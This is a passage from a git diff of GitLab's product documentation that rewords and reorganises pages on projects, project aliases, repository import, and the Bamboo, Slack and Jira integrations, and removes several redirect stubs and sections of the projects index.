GitLab.com](#migrating-from-self-managed-gitlab-to-gitlabcom). Additionally, you can migrate users using the [Users API](../../../api/users.md) with an administrator user. + +## Project aliases **(PREMIUM SELF)** + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/3264) in GitLab Premium 12.1. + +When migrating repositories to GitLab and they are being accessed by other systems, +it's very useful to be able to access them using the same name especially when +they are a lot. It reduces the risk of changing significant number of Git URLs in +a large number of systems. + +GitLab provides a functionality to help with this. In GitLab, repositories are +usually accessed with a namespace and project name. It is also possible to access +them via a project alias. This feature is only available on Git over SSH. + +A project alias can be only created via API and only by GitLab administrators. +Follow the [Project Aliases API documentation](../../../api/project_aliases.md) for +more details. + +After an alias has been created for a project (such as an alias `gitlab` for the +project `https://gitlab.com/gitlab-org/gitlab`), you can clone the repository +with the alias (e.g `git clone git@gitlab.com:gitlab.git` instead of +`git clone git@gitlab.com:gitlab-org/gitlab.git`). diff --git a/doc/user/project/import/repo_by_url.md b/doc/user/project/import/repo_by_url.md index 0e8cc159aec..3ff612c51a7 100644 --- a/doc/user/project/import/repo_by_url.md +++ b/doc/user/project/import/repo_by_url.md @@ -9,11 +9,17 @@ info: To determine the technical writer assigned to the Stage/Group associated w You can import your existing repositories by providing the Git URL: -1. From your GitLab dashboard click **New project** -1. Switch to the **Import project** tab -1. Click on the **Repo by URL** button -1. Fill in the "Git repository URL" and the remaining project fields -1. Click **Create project** to begin the import process -1. Once complete, you will be redirected to your newly created project +<!-- vale gitlab.Spelling = NO --> +<!-- vale gitlab.SubstitutionWarning = NO --> + +1. From your GitLab dashboard click **New project**. +1. Switch to the **Import project** tab. +1. Click on the **Repo by URL** button. +1. Fill in the "Git repository URL" and the remaining project fields. +1. Click **Create project** to begin the import process. +1. Once complete, you will be redirected to your newly created project. + +<!-- vale gitlab.Spelling = YES --> +<!-- vale gitlab.SubstitutionWarning = YES -->  diff --git a/doc/user/project/import/svn.md b/doc/user/project/import/svn.md index 3642d07106c..a816dca59bc 100644 --- a/doc/user/project/import/svn.md +++ b/doc/user/project/import/svn.md @@ -30,7 +30,7 @@ There are two approaches to SVN to Git migration: migration. It creates a writable Git mirror of a local or remote Subversion repository and that way you can use both Subversion and Git as long as you like. It requires access to your GitLab server as it talks with the Git repositories -directly in a filesystem level. +directly in a file system level. ### SubGit prerequisites diff --git a/doc/user/project/import/tfs.md b/doc/user/project/import/tfs.md deleted file mode 100644 index 31f9b200558..00000000000 --- a/doc/user/project/import/tfs.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: 'tfvc.md' ---- - -This document was moved to [another location](tfvc.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/index.md b/doc/user/project/index.md index e3079c3731d..a8ab1cbbb63 100644 --- a/doc/user/project/index.md +++ b/doc/user/project/index.md @@ -5,63 +5,59 @@ info: "To determine the technical writer assigned to the Stage/Group associated type: reference --- -# Projects +# Projects **(FREE)** -In GitLab, you can create projects for hosting -your codebase, use it as an issue tracker, collaborate on code, and continuously -build, test, and deploy your app with built-in GitLab CI/CD. +In GitLab, you can create projects to host +your codebase. You can also use projects to track issues, plan work, +collaborate on code, and continuously build, test, and use +built-in CI/CD to deploy your app. -Your projects can be [available](../../public_access/public_access.md) -publicly, internally, or privately, at your choice. GitLab does not limit -the number of private projects you create. +Projects can be available [publicly, internally, or privately](../../public_access/public_access.md). +GitLab does not limit the number of private projects you can create. ## Project features -When you create a project in GitLab, you'll have access to a large number of -[features](https://about.gitlab.com/features/): +Projects include the following [features](https://about.gitlab.com/features/): **Repositories:** -- [Issue tracker](issues/index.md): Discuss implementations with your team within issues - - [Issue Boards](issue_board.md): Organize and prioritize your workflow - - [Multiple Issue Boards](issue_board.md#multiple-issue-boards): Allow your teams to create their own workflows (Issue Boards) for the same project -- [Repositories](repository/index.md): Host your code in a fully - integrated platform - - [Branches](repository/branches/index.md): use Git branching strategies to - collaborate on code +- [Issue tracker](issues/index.md): Discuss implementations with your team. + - [Issue Boards](issue_board.md): Organize and prioritize your workflow. + - [Multiple Issue Boards](issue_board.md#multiple-issue-boards): Create team-specific workflows (Issue Boards) for a project. +- [Repositories](repository/index.md): Host your code in a fully-integrated platform. + - [Branches](repository/branches/index.md): Use Git branching strategies to + collaborate on code. - [Protected branches](protected_branches.md): Prevent collaborators - from messing with history or pushing code without review - - [Protected tags](protected_tags.md): Control over who has - permission to create tags, and prevent accidental update or deletion + from changing history or pushing code without review. + - [Protected tags](protected_tags.md): Control who has + permission to create tags and prevent accidental updates or deletions. - [Repository mirroring](repository/repository_mirroring.md) - - [Signing commits](repository/gpg_signed_commits/index.md): use GPG to sign your commits - - [Deploy tokens](deploy_tokens/index.md): Manage project-based deploy tokens that allow permanent access to the repository and Container Registry. + - [Signing commits](repository/gpg_signed_commits/index.md): Use GNU Privacy Guard (GPG) to sign your commits. + - [Deploy tokens](deploy_tokens/index.md): Manage access to the repository and Container Registry. - [Web IDE](web_ide/index.md) - [CVE ID Requests](../application_security/cve_id_request.md): Request a CVE identifier to track a vulnerability in your project. **Issues and merge requests:** -- [Issue tracker](issues/index.md): Discuss implementations with your team within issues - - [Issue Boards](issue_board.md): Organize and prioritize your workflow - - [Multiple Issue Boards](issue_board.md#multiple-issue-boards): Allow your teams to create their own workflows (Issue Boards) for the same project -- [Merge Requests](merge_requests/index.md): Apply your branching - strategy and get reviewed by your team +- [Issue tracker](issues/index.md): Discuss implementations with your team. + - [Issue Boards](issue_board.md): Organize and prioritize your workflow. + - [Multiple Issue Boards](issue_board.md#multiple-issue-boards): Create team-specific workflows (Issue Boards) for a project. +- [Merge Requests](merge_requests/index.md): Apply a branching + strategy and get reviewed by your team. - [Merge Request Approvals](merge_requests/merge_request_approvals.md): Ask for approval before - implementing a change **(STARTER)** - - [Fix merge conflicts from the UI](merge_requests/resolve_conflicts.md): - Your Git diff tool right from the GitLab UI - - [Review Apps](../../ci/review_apps/index.md): Live preview the results - of the changes proposed in a merge request in a per-branch basis -- [Labels](labels.md): Organize issues and merge requests by labels -- [Time Tracking](time_tracking.md): Track estimate time - and time spent on - the conclusion of an issue or merge request -- [Milestones](milestones/index.md): Work towards a target date + implementing a change. + - [Fix merge conflicts from the UI](merge_requests/resolve_conflicts.md): View Git diffs from the GitLab UI. + - [Review Apps](../../ci/review_apps/index.md): By branch, preview the results + of the changes proposed in a merge request. +- [Labels](labels.md): Organize issues and merge requests by labels. +- [Time Tracking](time_tracking.md): Track time estimated and + spent on issues and merge requests. +- [Milestones](milestones/index.md): Work toward a target date. - [Description templates](description_templates.md): Define context-specific - templates for issue and merge request description fields for your project -- [Slash commands (quick actions)](quick_actions.md): Textual shortcuts for - common actions on issues or merge requests + templates for issue and merge request description fields. +- [Slash commands (quick actions)](quick_actions.md): Create text shortcuts for + common actions. - [Autocomplete characters](autocomplete_characters.md): Autocomplete references to users, groups, issues, merge requests, and other GitLab elements. @@ -69,109 +65,55 @@ When you create a project in GitLab, you'll have access to a large number of **GitLab CI/CD:** -- [GitLab CI/CD](../../ci/README.md): the GitLab built-in [Continuous Integration, Delivery, and Deployment](https://about.gitlab.com/blog/2016/08/05/continuous-integration-delivery-and-deployment-with-gitlab/) tool +- [GitLab CI/CD](../../ci/README.md): Use the built-in [Continuous Integration, Delivery, and Deployment](https://about.gitlab.com/blog/2016/08/05/continuous-integration-delivery-and-deployment-with-gitlab/) tool. - [Container Registry](../packages/container_registry/index.md): Build and push Docker - images out-of-the-box + images. - [Auto Deploy](../../topics/autodevops/stages.md#auto-deploy): Configure GitLab CI/CD - to automatically set up your app's deployment + to automatically set up your app's deployment. - [Enable and disable GitLab CI/CD](../../ci/enable_or_disable_ci.md) - [Pipelines](../../ci/pipelines/index.md): Configure and visualize - your GitLab CI/CD pipelines from the UI + your GitLab CI/CD pipelines from the UI. - [Scheduled Pipelines](../../ci/pipelines/schedules.md): Schedule a pipeline - to start at a chosen time + to start at a chosen time. - [Pipeline Graphs](../../ci/pipelines/index.md#visualize-pipelines): View your - entire pipeline from the UI + pipeline from the UI. - [Job artifacts](../../ci/pipelines/job_artifacts.md): Define, - browse, and download job artifacts - - [Pipeline settings](../../ci/pipelines/settings.md): Set up Git strategy (choose the default way your repository is fetched from GitLab in a job), - timeout (defines the maximum amount of time in minutes that a job is able run), custom path for `.gitlab-ci.yml`, test coverage parsing, pipeline's visibility, and much more - - [Kubernetes cluster integration](clusters/index.md): Connecting your GitLab project - with a Kubernetes cluster - - [Feature Flags](../../operations/feature_flags.md): Feature flags allow you to ship a project in - different flavors by dynamically toggling certain functionality **(PREMIUM)** + browse, and download job artifacts. + - [Pipeline settings](../../ci/pipelines/settings.md): Set up Git strategy (how jobs fetch your repository), + timeout (the maximum amount of time a job can run), custom path for `.gitlab-ci.yml`, test coverage parsing, pipeline visibility, and more. + - [Kubernetes cluster integration](clusters/index.md): Connect your GitLab project + with a Kubernetes cluster. + - [Feature Flags](../../operations/feature_flags.md): Ship different features + by dynamically toggling functionality. **(PREMIUM)** - [GitLab Pages](pages/index.md): Build, test, and deploy your static - website with GitLab Pages + website. **Other features:** -- [Wiki](wiki/index.md): document your GitLab project in an integrated Wiki. -- [Snippets](../snippets.md): store, share and collaborate on code snippets. -- [Value Stream Analytics](../analytics/value_stream_analytics.md): review your development lifecycle. -- [Insights](insights/index.md): configure the Insights that matter for your projects. **(ULTIMATE)** -- [Security Dashboard](../application_security/security_dashboard/index.md): Security Dashboard. **(ULTIMATE)** -- [Syntax highlighting](highlighting.md): an alternative to customize - your code blocks, overriding the GitLab default choice of language. -- [Badges](badges.md): badges for the project overview. -- [Releases](releases/index.md): a way to track deliverables in your project as snapshot in time of - the source, build output, other metadata, and other artifacts +- [Wiki](wiki/index.md): Document your GitLab project in an integrated Wiki. +- [Snippets](../snippets.md): Store, share and collaborate on code snippets. +- [Value Stream Analytics](../analytics/value_stream_analytics.md): Review your development lifecycle. +- [Insights](insights/index.md): Configure the insights that matter for your projects. **(ULTIMATE)** +- [Security Dashboard](../application_security/security_dashboard/index.md) **(ULTIMATE)** +- [Syntax highlighting](highlighting.md): Customize + your code blocks, overriding the default language choice. +- [Badges](badges.md): Add an image to the project overview. +- [Releases](releases/index.md): Take a snapshot of + the source, build output, metadata, and artifacts associated with a released version of your code. -- [Conan packages](../packages/conan_repository/index.md): your private Conan repository in GitLab. -- [Maven packages](../packages/maven_repository/index.md): your private Maven repository in GitLab. -- [NPM packages](../packages/npm_registry/index.md): your private NPM package registry in GitLab. -- [Code owners](code_owners.md): specify code owners for certain files **(STARTER)** -- [License Compliance](../compliance/license_compliance/index.md): approve and deny licenses for projects. **(ULTIMATE)** -- [Dependency List](../application_security/dependency_list/index.md): view project dependencies. **(ULTIMATE)** -- [Requirements](requirements/index.md): Requirements allow you to create criteria to check your products against. **(ULTIMATE)** -- [Static Site Editor](static_site_editor/index.md): quickly edit content on static websites without prior knowledge of the codebase or Git commands. -- [Code Intelligence](code_intelligence.md): code navigation features. +- [Package Registry](../packages/package_registry/index.md): Publish and install packages. +- [Code owners](code_owners.md): Specify code owners for specific files. +- [License Compliance](../compliance/license_compliance/index.md): Approve and deny licenses for projects. **(ULTIMATE)** +- [Dependency List](../application_security/dependency_list/index.md): View project dependencies. **(ULTIMATE)** +- [Requirements](requirements/index.md): Create criteria to check your products against. **(ULTIMATE)** +- [Static Site Editor](static_site_editor/index.md): Edit content on static websites without prior knowledge of the codebase or Git commands. +- [Code Intelligence](code_intelligence.md): Navigate code. -### Project integrations +## Project integrations [Integrate your project](integrations/index.md) with Jira, Mattermost, Kubernetes, Slack, and a lot more. -## New project - -Learn how to [create a new project](../../gitlab-basics/create-project.md) in GitLab. - -### Fork a project - -You can [fork a project](repository/forking_workflow.md) in order to: - -- Collaborate on code by forking a project and creating a merge request - from your fork to the upstream project -- Fork a sample project to work on the top of that - -### Star a project - -You can star a project to make it easier to find projects you frequently use. -The number of stars a project has can indicate its popularity. - -To star a project: - -1. Go to the home page of the project you want to star. -1. In the upper right corner of the page, click **Star**. - -To view your starred projects: - -1. Click **Projects** in the navigation bar. -1. Click **Starred Projects**. -1. GitLab displays information about your starred projects, including: - - - Project description, including name, description, and icon - - Number of times this project has been starred - - Number of times this project has been forked - - Number of open merge requests - - Number of open issues - -### Explore projects - -You can explore other popular projects available on GitLab. To explore projects: - -1. Click **Projects** in the navigation bar. -1. Click **Explore Projects**. - -GitLab displays a list of projects, sorted by last updated date. To view -projects with the most [stars](#star-a-project), click **Most stars**. To view -projects with the largest number of comments in the past month, click **Trending**. - -## Project settings - -Set the project's visibility level and the access levels to its various pages -and perform actions like archiving, renaming or transferring a project. - -Read through the documentation on [project settings](settings/index.md). - ## Import or export a project - [Import a project](import/index.md) from: @@ -182,64 +124,6 @@ Read through the documentation on [project settings](settings/index.md). - [Export a project from GitLab](settings/import_export.md#exporting-a-project-and-its-data) - [Importing and exporting projects between GitLab instances](settings/import_export.md) -## Delete a project - -To delete a project, first navigate to the home page for that project. - -1. Navigate to **Settings > General**. -1. Expand the **Advanced** section. -1. Scroll down to the **Delete project** section. -1. Click **Delete project** -1. Confirm this action by typing in the expected text. - -Projects in personal namespaces are deleted immediately on request. For information on delayed deletion of projects within a group, please see [Enabling delayed project removal](../group/index.md#enabling-delayed-project-removal). - -## CI/CD for external repositories **(PREMIUM)** - -Instead of importing a repository directly to GitLab, you can connect your repository -as a CI/CD project. - -Read through the documentation on [CI/CD for external repositories](../../ci/ci_cd_for_external_repos/index.md). - -## Project members - -Learn how to [add members to your projects](members/index.md). - -## Project activity - -To view the activity of a project, navigate to **Project overview > Activity**. -From there, you can click on the tabs to see **All** the activity, or see it -filtered by **Push events**, **Merge events**, **Issue events**, **Comments**, -**Team**, and **Wiki**. - -### Leave a project - -**Leave project** will only display on the project's dashboard -when a project is part of a group (under a -[group namespace](../group/index.md#namespaces)). -If you choose to leave a project you will no longer be a project -member, therefore, unable to contribute. - -## Project's landing page - -The project's landing page shows different information depending on -the project's visibility settings and user permissions. - -For public projects, and to members of internal and private projects -with [permissions to view the project's code](../permissions.md#project-members-permissions): - -- The content of a - [`README` or an index file](repository/#repository-readme-and-index-files) - is displayed (if any), followed by the list of directories within the - project's repository. -- If the project doesn't contain either of these files, the - visitor will see the list of files and directories of the repository. - -For users without permissions to view the project's code: - -- The wiki homepage is displayed, if any. -- The list of issues within the project is displayed. - ## GitLab Workflow - VS Code extension To avoid switching from the GitLab UI and VS Code while working in GitLab repositories, you can integrate @@ -248,142 +132,6 @@ the [VS Code](https://code.visualstudio.com/) editor with GitLab through the To review or contribute to the extension's code, visit [its codebase in GitLab](https://gitlab.com/gitlab-org/gitlab-vscode-extension/). -## Redirects when changing repository paths - -When a repository path changes, it is essential to smoothly transition from the -old location to the new one. GitLab provides two kinds of redirects: the web UI -and Git push/pull redirects. - -Depending on the situation, different things apply. - -When [renaming a user](../profile/index.md#changing-your-username), -[changing a group path](../group/index.md#changing-a-groups-path) or [renaming a repository](settings/index.md#renaming-a-repository): - -- Existing web URLs for the namespace and anything under it (e.g., projects) will - redirect to the new URLs. -- Starting with GitLab 10.3, existing Git remote URLs for projects under the - namespace will redirect to the new remote URL. Every time you push/pull to a - repository that has changed its location, a warning message to update - your remote will be displayed instead of rejecting your action. - This means that any automation scripts, or Git clients will continue to - work after a rename, making any transition a lot smoother. -- The redirects will be available as long as the original path is not claimed by - another group, user or project. - -## Use your project as a Go package - -Any project can be used as a Go package. GitLab responds correctly to `go get` -and `godoc.org` discovery requests, including the -[`go-import`](https://golang.org/cmd/go/#hdr-Remote_import_paths) and -[`go-source`](https://github.com/golang/gddo/wiki/Source-Code-Links) meta tags. - -Private projects, including projects in subgroups, can be used as a Go package, -but may require configuration to work correctly. GitLab will respond correctly -to `go get` discovery requests for projects that *are not* in subgroups, -regardless of authentication or authorization. -[Authentication](#authenticate-go-requests) is required to use a private project -in a subgroup as a Go package. Otherwise, GitLab will truncate the path for -private projects in subgroups to the first two segments, causing `go get` to -fail. - -GitLab implements its own Go proxy. This feature must be enabled by an -administrator and requires additional configuration. See [GitLab Go -Proxy](../packages/go_proxy/index.md). - -### Disable Go module features for private projects - -In Go 1.12 and later, Go queries module proxies and checksum databases in the -process of [fetching a -module](../../development/go_guide/dependencies.md#fetching). This can be -selectively disabled with `GOPRIVATE` (disable both), -[`GONOPROXY`](../../development/go_guide/dependencies.md#proxies) (disable proxy -queries), and [`GONOSUMDB`](../../development/go_guide/dependencies.md#fetching) -(disable checksum queries). - -`GOPRIVATE`, `GONOPROXY`, and `GONOSUMDB` are comma-separated lists of Go -modules and Go module prefixes. For example, -`GOPRIVATE=gitlab.example.com/my/private/project` will disable queries for that -one project, but `GOPRIVATE=gitlab.example.com` will disable queries for *all* -projects on GitLab.com. Go will not query module proxies if the module name or a -prefix of it appears in `GOPRIVATE` or `GONOPROXY`. Go will not query checksum -databases if the module name or a prefix of it appears in `GONOPRIVATE` or -`GONOSUMDB`. - -### Authenticate Go requests - -To authenticate requests to private projects made by Go, use a [`.netrc` -file](https://ec.haxx.se/usingcurl-netrc.html) and a [personal access -token](../profile/personal_access_tokens.md) in the password field. **This only -works if your GitLab instance can be accessed with HTTPS.** The `go` command -will not transmit credentials over insecure connections. This will authenticate -all HTTPS requests made directly by Go but will not authenticate requests made -through Git. - -For example: - -```plaintext -machine gitlab.example.com -login <gitlab_user_name> -password <personal_access_token> -``` - -NOTE: -On Windows, Go reads `~/_netrc` instead of `~/.netrc`. - -### Authenticate Git fetches - -If a module cannot be fetched from a proxy, Go will fall back to using Git (for -GitLab projects). Git will use `.netrc` to authenticate requests. Alternatively, -Git can be configured to embed specific credentials in the request URL, or to -use SSH instead of HTTPS (as Go always uses HTTPS to fetch Git repositories): - -```shell -# embed credentials in any request to GitLab.com: -git config --global url."https://${user}:${personal_access_token}@gitlab.example.com".insteadOf "https://gitlab.example.com" - -# use SSH instead of HTTPS: -git config --global url."git@gitlab.example.com".insteadOf "https://gitlab.example.com" -``` - -## Access project page with project ID - -> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/53671) in GitLab 11.8. - -To quickly access a project from the GitLab UI using the project ID, -visit the `/projects/:id` URL in your browser or other tool accessing the project. - -## Project aliases **(PREMIUM ONLY)** - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/3264) in [GitLab Premium](https://about.gitlab.com/pricing/) 12.1. - -When migrating repositories to GitLab and they are being accessed by other systems, -it's very useful to be able to access them using the same name especially when -they are a lot. It reduces the risk of changing significant number of Git URLs in -a large number of systems. - -GitLab provides a functionality to help with this. In GitLab, repositories are -usually accessed with a namespace and project name. It is also possible to access -them via a project alias. This feature is only available on Git over SSH. - -A project alias can be only created via API and only by GitLab administrators. -Follow the [Project Aliases API documentation](../../api/project_aliases.md) for -more details. - -Once an alias has been created for a project (e.g., an alias `gitlab` for the -project `https://gitlab.com/gitlab-org/gitlab`), the repository can be cloned -using the alias (e.g `git clone git@gitlab.com:gitlab.git` instead of -`git clone git@gitlab.com:gitlab-org/gitlab.git`). - -## Project activity analytics overview **(ULTIMATE ONLY)** - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/279039) in GitLab [Ultimate](https://about.gitlab.com/pricing/) 13.7 as a [Beta feature](https://about.gitlab.com/handbook/product/gitlab-the-product/#beta). - -Project details include the following analytics: - -- Deployment Frequency - -For more information, see [Project Analytics API](../../api/project_analytics.md). - ## Project APIs There are numerous [APIs](../../api/README.md) to use with your projects: @@ -404,4 +152,14 @@ There are numerous [APIs](../../api/README.md) to use with your projects: - [Traffic](../../api/project_statistics.md) - [Variables](../../api/project_level_variables.md) - [Aliases](../../api/project_aliases.md) -- [Analytics](../../api/project_analytics.md) +- [DORA4 Analytics](../../api/dora4_project_analytics.md) + +## DORA4 analytics overview **(ULTIMATE ONLY)** + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/279039) in GitLab [Ultimate](https://about.gitlab.com/pricing/) 13.7 as a [Beta feature](https://about.gitlab.com/handbook/product/gitlab-the-product/#beta). + +Project details include the following analytics: + +- Deployment Frequency + +For more information, see [DORA4 Project Analytics API](../../api/dora4_project_analytics.md). diff --git a/doc/user/project/integrations/bamboo.md b/doc/user/project/integrations/bamboo.md index 30a21dd7f66..fb9314f7504 100644 --- a/doc/user/project/integrations/bamboo.md +++ b/doc/user/project/integrations/bamboo.md @@ -50,7 +50,7 @@ service in GitLab. 1. Enter the build key from your Bamboo build plan. Build keys are typically made up from the Project Key and Plan Key that are set on project/plan creation and separated with a dash (`-`), for example **PROJ-PLAN**. This is a short, all - uppercase identifier that is unique. When viewing a plan within Bamboo, the + uppercase identifier that is unique. When viewing a plan in Bamboo, the build key is also shown in the browser URL, for example `https://bamboo.example.com/browse/PROJ-PLAN`. 1. If necessary, enter username and password for a Bamboo user that has access to trigger the build plan. Leave these fields blank if you do not require @@ -60,8 +60,12 @@ service in GitLab. ## Troubleshooting +### Builds not triggered + If builds are not triggered, ensure you entered the right GitLab IP address in Bamboo under 'Trigger IP addresses'. Also check [service hook logs](overview.md#troubleshooting-integrations) for request failures. -NOTE: -Starting with GitLab 8.14.0, builds are triggered on push events. +### Advanced Atlassian Bamboo features not available in GitLab UI + +Advanced Atlassian Bamboo features are not compatible with GitLab. These features +include, but are not limited to, the ability to watch the build logs from the GitLab UI. diff --git a/doc/user/project/integrations/ewm.md b/doc/user/project/integrations/ewm.md index 434ae760aff..d63599d02bc 100644 --- a/doc/user/project/integrations/ewm.md +++ b/doc/user/project/integrations/ewm.md @@ -4,7 +4,7 @@ group: Ecosystem info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# IBM Engineering Workflow Management (EWM) Integration **(CORE)** +# IBM Engineering Workflow Management (EWM) Integration **(FREE)** This service allows you to navigate from GitLab to EWM work items mentioned in merge request descriptions and commit messages. Each work item reference is automatically converted to a link back to the work item. diff --git a/doc/user/project/integrations/generic_alerts.md b/doc/user/project/integrations/generic_alerts.md deleted file mode 100644 index 1fbbee36173..00000000000 --- a/doc/user/project/integrations/generic_alerts.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../../../operations/incident_management/generic_alerts.md' ---- - -This document was moved to [another location](../../../operations/incident_management/generic_alerts.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/integrations/gitlab_slack_application.md b/doc/user/project/integrations/gitlab_slack_application.md index ccf4b6cb303..ef8c9d59132 100644 --- a/doc/user/project/integrations/gitlab_slack_application.md +++ b/doc/user/project/integrations/gitlab_slack_application.md @@ -4,7 +4,7 @@ group: Ecosystem info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# GitLab Slack application **(FREE ONLY)** +# GitLab Slack application **(FREE SAAS)** > - Introduced in GitLab 9.4. > - Distributed to Slack App Directory in GitLab 10.2. diff --git a/doc/user/project/integrations/img/mattermost_configuration.png b/doc/user/project/integrations/img/mattermost_configuration.png Binary files differdeleted file mode 100644 index 18c0036846d..00000000000 --- a/doc/user/project/integrations/img/mattermost_configuration.png +++ /dev/null diff --git a/doc/user/project/integrations/img/mattermost_configuration_v2.png b/doc/user/project/integrations/img/mattermost_configuration_v2.png Binary files differnew file mode 100644 index 00000000000..0470869c4f7 --- /dev/null +++ b/doc/user/project/integrations/img/mattermost_configuration_v2.png diff --git a/doc/user/project/integrations/irker.md b/doc/user/project/integrations/irker.md index 8dd7e4309b4..58f7ea3279f 100644 --- a/doc/user/project/integrations/irker.md +++ b/doc/user/project/integrations/irker.md @@ -10,7 +10,7 @@ GitLab provides a way to push update messages to an Irker server. When configured, pushes to a project trigger the service to send data directly to the Irker server. -See the project homepage for further information: <https://gitlab.com/esr/irker> +See the [project homepage](https://gitlab.com/esr/irker) for further information. ## Needed setup diff --git a/doc/user/project/integrations/jira.md b/doc/user/project/integrations/jira.md index 306a16bd873..5857c3da803 100644 --- a/doc/user/project/integrations/jira.md +++ b/doc/user/project/integrations/jira.md @@ -6,57 +6,83 @@ info: To determine the technical writer assigned to the Stage/Group associated w # GitLab Jira integration -If you need to use Jira to track work that's implemented in GitLab, Jira integrations with GitLab make the process of working across systems more efficient. +You can use Jira to track work implemented in GitLab. The Jira integration with GitLab makes the +process of working across these systems more efficient. -This page is about the GitLab Jira integration, which is available in every GitLab project by default, allowing you to connect it to any Jira instance, whether Cloud or self-managed. To compare features with the complementary Jira Development Panel integration, see [Jira integrations](jira_integrations.md). +The GitLab Jira integration, available in every GitLab project by default, allows you to connect +to any Jira instance, whether on Atlassian cloud or self-managed. -After you set up this integration, you can cross-reference activity in the GitLab project with any of your projects in Jira. This includes the ability to close or transition Jira issues when work is completed in GitLab. +You can also install the [Jira Development Panel integration](../../../integration/jira_development_panel.md). +For more information about the differences between the two integrations, see +[Jira integrations](jira_integrations.md). -Features include: +After you set up this integration, you can cross-reference activity in the GitLab project with any +of your projects in Jira. This includes the ability to close or transition Jira issues when work is +completed in GitLab and: -- **Mention a Jira issue ID** in a commit message or MR (merge request) and +- Mention a Jira issue ID in a commit message or MR (merge request) and: - GitLab links to the Jira issue. - The Jira issue adds a comment with details and a link back to the activity in GitLab. -- **Mention that a commit or MR resolves or closes a specific Jira issue** and when it's merged to the default branch: +- Mention that a commit or MR resolves or closes a specific Jira issue and when it's merged to the default branch: - The GitLab MR displays a note that it closed the Jira issue. Prior to the merge, MRs indicate which issue they close. - The Jira issue shows the activity and is closed or otherwise transitioned as specified in your GitLab settings. -- **View a list of Jira issues directly in GitLab** **(PREMIUM)** +- Run a pipeline on an MR linked to a Jira issue: + - The Jira issue shows the current pipeline status (in the sidebar as "builds"). +- Deploy to an environment from an MR linked to a Jira issue: + - The Jira issue shows the status of the deployment (in the sidebar as "deployments"). +- Create or modify a feature flag that mentions a Jira issue in its description: + - The Jira issue shows the details of the feature-flag (in the sidebar as "feature flags"). +- View a list of Jira issues directly in GitLab. **(PREMIUM)** +- Create a Jira issue from a vulnerability. **(ULTIMATE)** -For additional features, you can install the -[Jira Development Panel integration](../../../integration/jira_development_panel.md). -This enables you to: +Additional features provided by the Jira Development Panel integration include: - In a Jira issue, display relevant GitLab information in the [development panel](https://support.atlassian.com/jira-software-cloud/docs/view-development-information-for-an-issue/), including related branches, commits, and merge requests. - Use Jira [Smart Commits](https://confluence.atlassian.com/fisheye/using-smart-commits-960155400.html) in GitLab to add Jira comments, log time spent on the issue, or apply any issue transition. - -See the [feature comparison](jira_integrations.md#feature-comparison) for more details. +- Showing pipeline, deployment, and feature flags in Jira issues. ## Configuration <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> For an overview, see [Agile Management - GitLab-Jira Basic Integration](https://www.youtube.com/watch?v=fWvwkx5_00E&feature=youtu.be). -Each GitLab project can be configured to connect to an entire Jira instance. That -means one GitLab project can interact with _all_ Jira projects in that instance, once -configured. Therefore, you do not have to explicitly associate -a GitLab project with any single Jira project. +Each GitLab project can be configured to connect to an entire Jira instance. That means one GitLab +project can interact with _all_ Jira projects in that instance, once configured. For: + +- The [view Jira issues](#view-jira-issues) feature, you must associate a GitLab project with a + specific Jira project. +- Other features, you do not have to explicitly associate a GitLab project with any single Jira + project. + +If you have one Jira instance, you can pre-fill the settings. For more information, see the +documentation for: + +- [Project integration management](../../admin_area/settings/project_integration_management.md). +- [Services Templates](services_templates.md). + +To enable the Jira service in GitLab, you must: -If you have one Jira instance, you can pre-fill the settings page with a default -template. See the [Services Templates](services_templates.md) docs. +1. Configure the project in Jira. +1. Enter the correct values in GitLab. -In order to enable the Jira service in GitLab, you need to first configure the project in Jira and then enter the correct values in GitLab. +### Configure Jira -### Configuring Jira +The process for configuring Jira depends on whether you host Jira on your own server or on +[Atlassian cloud](https://www.atlassian.com/cloud). #### Jira Server -**Jira Server** supports basic authentication. When connecting, a **username and password** are required. Note that connecting to Jira Server via CAS is not possible. [Set up a user in Jira Server](jira_server_configuration.md) first and then proceed to [Configuring GitLab](#configuring-gitlab). +Jira Server supports basic authentication. When connecting, a **username and password** are +required. Connecting to Jira Server via CAS is not possible. For more information, see +[set up a user in Jira Server](jira_server_configuration.md). -#### Jira Cloud +#### Jira on Atlassian cloud -**Jira Cloud** supports authentication through an API token. When connecting to **Jira Cloud**, an **email and API token** are required. [Set up a user in Jira Cloud](jira_cloud_configuration.md) first and then proceed to [Configuring GitLab](#configuring-gitlab). +Jira on Atlassian cloud supports authentication through an API token. When connecting to Jira on +Atlassian cloud, an **email and API token** are required. For more information, see +[set up a user in Jira on Atlassian cloud](jira_cloud_configuration.md). -### Configuring GitLab +### Configure GitLab > **Notes:** > @@ -65,37 +91,52 @@ In order to enable the Jira service in GitLab, you need to first configure the p > to enable Basic Auth. The cookie being added to each request is `OBBasicAuth` with > a value of `fromDialog`. -To enable the Jira integration in a project, navigate to the -[Integrations page](overview.md#accessing-integrations) and click -the **Jira** service. +To enable the Jira integration in a project: + +1. Go to the project's [Integrations page](overview.md#accessing-integrations) and select the + **Jira** service. + +1. Select **Enable integration**. + +1. Select **Trigger** actions. + This determines whether a mention of a Jira issue in GitLab commits, merge requests, or both, + should link the Jira issue back to that source commit/MR and transition the Jira issue, if + indicated. + +1. To include a comment on the Jira issue when the above reference is made in GitLab, select + **Enable comments**. + + 1. Select the **Comment detail**: **Standard** or **All details**. -Select **Enable integration**. +1. Enter the further details on the page as described in the following table. -Select a **Trigger** action. This determines whether a mention of a Jira issue in GitLab commits, merge requests, or both, should link the Jira issue back to that source commit/MR and transition the Jira issue, if 